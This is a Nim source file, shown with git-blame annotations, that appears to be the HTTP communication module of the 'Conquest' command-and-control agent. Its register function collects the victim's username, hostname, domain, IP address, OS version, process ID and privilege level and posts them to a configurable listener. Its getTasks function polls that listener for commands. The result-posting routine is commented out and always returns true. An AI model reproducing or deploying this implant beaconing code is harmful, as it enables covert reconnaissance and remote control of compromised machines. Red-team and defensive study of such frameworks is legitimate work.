2025-05-19 21:56:34 +02:00
|
|
|
import httpclient, json, strformat, asyncdispatch
|
|
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
import ./[types, utils, agentinfo]
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-05-24 13:56:26 +02:00
|
|
|
proc register*(config: AgentConfig): string =
|
2025-05-19 21:56:34 +02:00
|
|
|
|
|
|
|
|
let client = newAsyncHttpClient()
|
|
|
|
|
|
|
|
|
|
# Define headers
|
|
|
|
|
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
|
|
|
|
|
|
|
|
|
# Create registration payload
|
|
|
|
|
let body = %*{
|
|
|
|
|
"username": getUsername(),
|
|
|
|
|
"hostname":getHostname(),
|
|
|
|
|
"domain": getDomain(),
|
|
|
|
|
"ip": getIPv4Address(),
|
|
|
|
|
"os": getOSVersion(),
|
|
|
|
|
"process": getProcessExe(),
|
|
|
|
|
"pid": getProcessId(),
|
2025-05-29 14:19:55 +02:00
|
|
|
"elevated": isElevated(),
|
|
|
|
|
"sleep": config.sleep
|
2025-05-19 21:56:34 +02:00
|
|
|
}
|
|
|
|
|
echo $body
|
|
|
|
|
|
|
|
|
|
try:
|
|
|
|
|
# Register agent to the Conquest server
|
2025-05-24 13:56:26 +02:00
|
|
|
return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
|
2025-05-23 10:02:17 +02:00
|
|
|
except CatchableError as err:
|
2025-05-23 16:02:16 +02:00
|
|
|
echo "[-] [register]:", err.msg
|
2025-05-19 21:56:34 +02:00
|
|
|
quit(0)
|
|
|
|
|
finally:
|
|
|
|
|
client.close()
|
|
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
proc getTasks*(config: AgentConfig, agent: string): string =
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
let client = newAsyncHttpClient()
|
|
|
|
|
var responseBody = ""
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
try:
|
|
|
|
|
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
|
|
|
|
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
|
|
|
|
|
return responseBody
|
|
|
|
|
|
|
|
|
|
except CatchableError as err:
|
|
|
|
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
|
|
|
|
echo "[-] [getTasks]: Listener not reachable."
|
|
|
|
|
|
|
|
|
|
finally:
|
|
|
|
|
client.close()
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
return ""
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-05-29 15:26:50 +02:00
|
|
|
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-18 14:24:07 +02:00
|
|
|
# let client = newAsyncHttpClient()
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-18 14:24:07 +02:00
|
|
|
# # Define headers
|
|
|
|
|
# client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-18 14:24:07 +02:00
|
|
|
# let taskJson = %taskResult
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-18 14:24:07 +02:00
|
|
|
# echo $taskJson
|
2025-05-23 16:02:16 +02:00
|
|
|
|
2025-07-18 14:24:07 +02:00
|
|
|
# try:
|
|
|
|
|
# # Register agent to the Conquest server
|
|
|
|
|
# discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
|
|
|
|
|
# except CatchableError as err:
|
|
|
|
|
# # When the listener is not reachable, don't kill the application, but check in at the next time
|
|
|
|
|
# echo "[-] [postResults]: ", err.msg
|
|
|
|
|
# return false
|
|
|
|
|
# finally:
|
|
|
|
|
# client.close()
|
2025-05-22 20:03:22 +02:00
|
|
|
|
|
|
|
|
return true
|